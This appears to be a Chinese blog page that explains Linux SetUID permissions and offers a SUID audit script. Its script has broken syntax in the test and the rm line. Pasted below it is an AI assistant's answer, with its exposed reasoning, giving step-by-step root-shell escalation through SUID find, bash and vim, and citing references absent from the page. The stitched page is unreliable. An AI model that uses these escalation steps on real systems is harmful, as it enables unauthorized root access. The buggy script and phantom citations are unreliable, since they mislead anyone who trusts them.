Linux SetUID(SUID)详细说明

Linux当中除了 rwx 权限,还会用到 s 权限


例如:
[root@localhost ~]# ls -l /usr/bin/passwd
-rwsr-xr-x. 1 root root 22984 Jan  7  2007 /usr/bin/passwd

可以看到,原本表示文件所有者权限中的 x 权限位,却出现了 s 权限,此种权限通常称为 SetUID,简称 SUID 特殊权限。

SUID 特殊权限仅适用于可执行文件,所具有的功能是,只要用户对设有 SUID 的文件有执行权限,那么当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失。

举一个例子,我们都知道,Linux 系统中所有用户的密码数据都记录在 /etc/shadow 这个文件中,通过 ll /etc/shadow 命令可以看到,此文件的权限是 0(---------),也就是说,普通用户对此文件没有任何操作权限。这就会产生一个问题,为什么普通用户可以使用 passwd 命令修改自己的密码呢?

本节开头已经显示了 passwd 命令的权限配置,可以看到,此命令拥有 SUID 特殊权限,而且其他人对此文件也有执行权限,这就意味着,任何一个用户都可以用文件所有者,也就是 root 的身份去执行 passwd 命令。

Linux 系统中,绝对多数命令的文件所有者默认都是 root。

换句话说,当普通用户使用 passwd 命令尝试更改自己的密码时,实际上是在以 root 的身份执行passwd命令,正因为 root 可以将密码写入 /etc/shadow 文件,所以普通用户也能做到。只不过,一旦命令执行完成,普通用户所具有的 root身份也随之消失。

如果我们手动将 /usr/bin/passwd 文件的 SUID 权限取消,会发生什么呢?观察如下命令的执行过程:

[root@localhost ~]# chmod u-s /usr/bin/passwd
#属主取消SetUID权限
[root@localhost ~]# ll /usr/bin/passwd
-rwxr-xr-x. 1 root root 30768 Feb 22 2012 /usr/bin/passwd
[root@localhost ~]# su - lamp
[lamp@localhost ~]$ passwd
Changing password for user lamp.
Changing password for user.
(current) UNIX password:
#看起来没有什么问题
New passwor:
Retype new password:
password:Authentication token manipulation error  <--鉴定令牌操作错误
#最后密码没有生效

 

显然,虽然用户有执行 passwd 命令的权限,但无修改 /etc/shadow 文件的权限,因此最终密码修改失败。注意,实验完成后,一定要再把 /usr/bin/passwd 文件的 SetUID 权限加上。

那么,普通用户可以使用 cat 命令查看 /etc/shadow 文件吗?答案的否定的,因为 cat 不具有 SUID 权限,因此普通用户在执行 cat /etc/shadow 命令时,无法以  root 的身份,只能以普通用户的身份,因此无法成功读取。

我们可以使用下面这张图来描述上述过程:

SUID示意图

由此,我们可以总结出,SUID 特殊权限具有如下特点:

  • 只有可执行文件才能设定 SetUID 权限,对目录设定 SUID,是无效的。
  • 用户要对该文件拥有 x(执行)权限。
  • 用户在执行该文件时,会以文件所有者的身份执行。
  • SetUID 权限只在文件执行过程中有效,一旦执行完毕,身份的切换也随之消失。

授予setuid有两种方法:

(1)使用chmod u+s进行授予

(2)使用数字方式授予,在linux里面默认权限是755,setuid权限位是数字4,这样就可以在缺省的权限前面加上4,即4755

 如果要收回s权限,那么就使用chmod u-s 可执行程序。或者使用chmod 755,即不加上第一位4。

注意使用chmod u+s的时候,对象必须是可执行程序,比如一个命令,不能是一个目录。如果一个对象不是可执行程序设置为setuid是没有任何意义的。

 

 

 轻易设置SetUID(SUID)权限会带来重大安全隐患


如果我们手动给默认无 SetUID 权限的系统命令赋予 SetUID 权限,会出现什么情况呢?比如说,我们尝试给 Vim 赋予 SetUID 权限:

[root@localhost ~]# chmod u+s /usr/bin/vim
[root@localhost ~]# ll /usr/bin/vim
-rwsr-xr-x. 1 root root 1847752 Apr 5 2012 /usr/bin/vim

此时你会发现,即便是普通用户使用 vim 命令,都会暂时获得 root 的身份和权限,例如,很多原本普通用户不能查看和修改的文件,竟然可以查看了,以 /etc/passwd 和 /etc/shadow 文件为例,普通用户也可以将自己的 UID 手动修改为 0,这意味着,此用户升级成为了超级用户。除此之外,普通用户还可以修改例如 /etc/inittab 和 /etc/fstab 这样重要的系统文件,可以轻易地使系统瘫痪。

其实,任何只有管理员可以执行的命令,如果被赋予了 SetUID 权限,那么后果都是灾难性的。普通用户可以随时重启服务器、随时关闭看得不顺眼的服务、随时添加其他普通用户的服务器,可以想象是什么样子。所以,SetUID 权限不能随便设置。

如何防止他人(例如黑客)对 SetUID 权限的恶意篡改呢?这里,给大家提供以下几点建议:

  1. 关键目录要严格控制写权限,比如 "/"、"/usr" 等。
  2. 用户的密码设置要严格遵守密码规范。
  3. 对系统中默认应该有 SetUID 权限的文件制作一张列表,定时检査有没有列表之外的文件被设置了 SetUID 权限。


前面 2 点不再做过多解释,这里就最后一点,给大家提供一个脚本,仅供参考。
首先,在服务器第一次安装完成后,马上查找系统中所有拥有 SetUID 和 SetGID 权限的文件,把它们记录下来,作为扫描的参考模板。如果某次扫描的结果和本次保存下来的模板不一致,就说明有文件被修改了 SetUID 和 SetGID 权限。命令如下:

[root@localhost ~]# find / -perm -4000 -o -perm -2000 > /root/suid.list
#-perm安装权限査找。-4000对应的是SetUID权限,-2000对应的是SetGID权限
#-o是逻辑或"or"的意思。并把命令搜索的结果放在/root/suid.list文件中
接下来,只要定时扫描系统,然后和模板文件比对就可以了。脚本如下:
[root@localhost ~]#vi suidcheck.sh
#!/bin/bash
find / -perm -4000 -o -perm -2000 > /tmp/setuid.check
#搜索系统中所有拥有SetUID和SetGID权限的文件,并保存到临时目录中
for i in $(cat /tmp/setuid.check)
#循环,每次循环都取出临时文件中的文件名
do
    grep $i /root/suid.list > /dev/null
    #比对这个文件名是否在模板文件中
    if ["$?"!="o"]
    #检测测上一条命令的返回值,如果不为0,则证明上一条命令报错
    then
        echo "$i isn't in listfile! " >>/root/suid_log_$(date +%F)
        #如果文件名不在模板文件中,则输出错误信息,并把报错写入日志中
    fi
done
rm -rf/tmp/setuid.check
#删除临时文件
[root@localhost ~]# chmod u+s /bin/vi
#手工给vi加入SetUID权限
[root@localhost ~]# ./suidcheck.sh
#执行检测脚本
[root@localhost ~]# cat suid_log_2013-01-20
/bin/vi isn't in listfile!
#报错了,vi不在模板文件中。代表vi被修改了SetUID权限

这个脚本成功的关键在于模板文件是否正常。所以一定要安装完系统就马上建立模板文件,并保证模板文件的安全。
注意,除非特殊情况,否则不要手工修改 SetUID 和 SetGID 权限,这样做非常不安全。

<think>好的,我现在需要帮助用户了解在Rocky Linux中如何利用SUID进行权限提升。首先,我需要回顾一下SUID的基本概念,确保自己理解正确。SUID(Set User ID)是一种特殊权限,当设置在一个可执行文件上时,无论谁运行该文件,它都会以文件所有者的权限执行。例如,/usr/bin/passwd就有SUID设置,这样普通用户修改密码时能临时获得root权限。 接下来,用户的具体问题是关于Rocky LinuxSUID提权教程。我应该先解释SUID的作用机制,再逐步指导如何查找具有SUID权限的文件,然后分析这些文件是否可能被利用。常见的可利用的SUID程序包括bash、find、vim等,如果这些程序有SUID位,可能被用来提升权限。 需要确保步骤清晰,用户能够一步步跟随操作。例如,使用find命令搜索SUID文件:find / -perm -4000 2>/dev/null。然后列举一些常见的可利用命令,并说明如何利用它们执行提权操作,比如使用find的exec参数执行命令,或者通过bash -p获取root shell。 同时,必须提醒用户注意权限提升的合法性,只能在授权的环境中进行测试。此外,需要提到防范措施,比如定期检查SUID文件,删除不必要的SUID权限,使用最小权限原则等。 在回答中,还需要引用提供的参考资料。例如,引用[3]中提到了SUID的作用和示例,引用[1]中的chmod命令设置SUID权限,这些都可以用来支持解释。引用[4]中的例子展示了以root身份执行代码的情况,可以说明SUID提权的实际效果。 最后,生成相关问题,帮助用户进一步学习,比如如何检测系统中的SUID文件,或者SUID与SGID的区别等。要确保问题相关且有引导性,促进用户深入理解。 需要检查是否有技术错误,比如命令是否正确,步骤是否可行。例如,使用find命令时,参数是否正确,是否有处理错误输出的重定向。另外,提到的示例是否适用于Rocky Linux,因为Rocky是基于RHEL的,可能与Ubuntu有些不同,但SUID机制是通用的,所以应该没问题。 总结回答的结构:先介绍SUID概念,然后步骤分解,包括查找文件、分析利用、示例演示,接着是防范措施,最后相关问题。确保每个部分逻辑清晰,语言简洁,符合用户要求的中文回答,并且正确使用LaTeX格式标注行内公式(如果有的话,但当前问题可能不需要数学公式,不过需检查是否有需要的地方)。</think>### Rocky Linux SUID提权原理与实现 SUID(Set User ID)是Linux系统中三种特殊权限之一,当可执行文件设置SUID位后,执行该文件时会以文件所有者的身份运行[^3]。该特性常用于需要临时提升权限的系统工具(如$passwd$命令),但也可能成为攻击者权限提升的入口。 --- ### 一、SUID提权实施步骤 #### 1. 查找SUID文件 ```bash find / -perm -4000 2>/dev/null # 搜索所有SUID权限文件 ``` 关键结果示例: ```bash /usr/bin/bash /usr/bin/find /usr/bin/vim /usr/bin/cp ``` #### 2. 分析可利用程序 常见危险SUID程序: - **find**:可通过`-exec`参数执行命令 - **bash**:使用`bash -p`可保留特权 - **vim**:通过`:!bash`启动shell - **cp**:覆盖敏感文件如/etc/passwd #### 3. 提权操作示例 **▌ 通过find提权** ```bash touch testfile find testfile -exec whoami \; # 显示当前执行身份 find testfile -exec /bin/bash -p \; # 获取root shell ``` **▌ 通过bash提权** ```bash bash -p # 启动特权shell id # 验证uid=0(root) ``` **▌ 通过vim提权** ```bash vim /anyfile :!bash -p # 在vim中启动shell ``` --- ### 二、防御措施 1. **权限审计**:定期执行`find / -perm -4000`检查 2. **最小化原则**:使用`chmod u-s filename`移除非必要SUID权限[^1] 3. **命名空间隔离**:容器环境中限制root权限传播[^4] 4. **系统更新**:及时修复类似CVE-2015-1328的本地提权漏洞[^2] ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值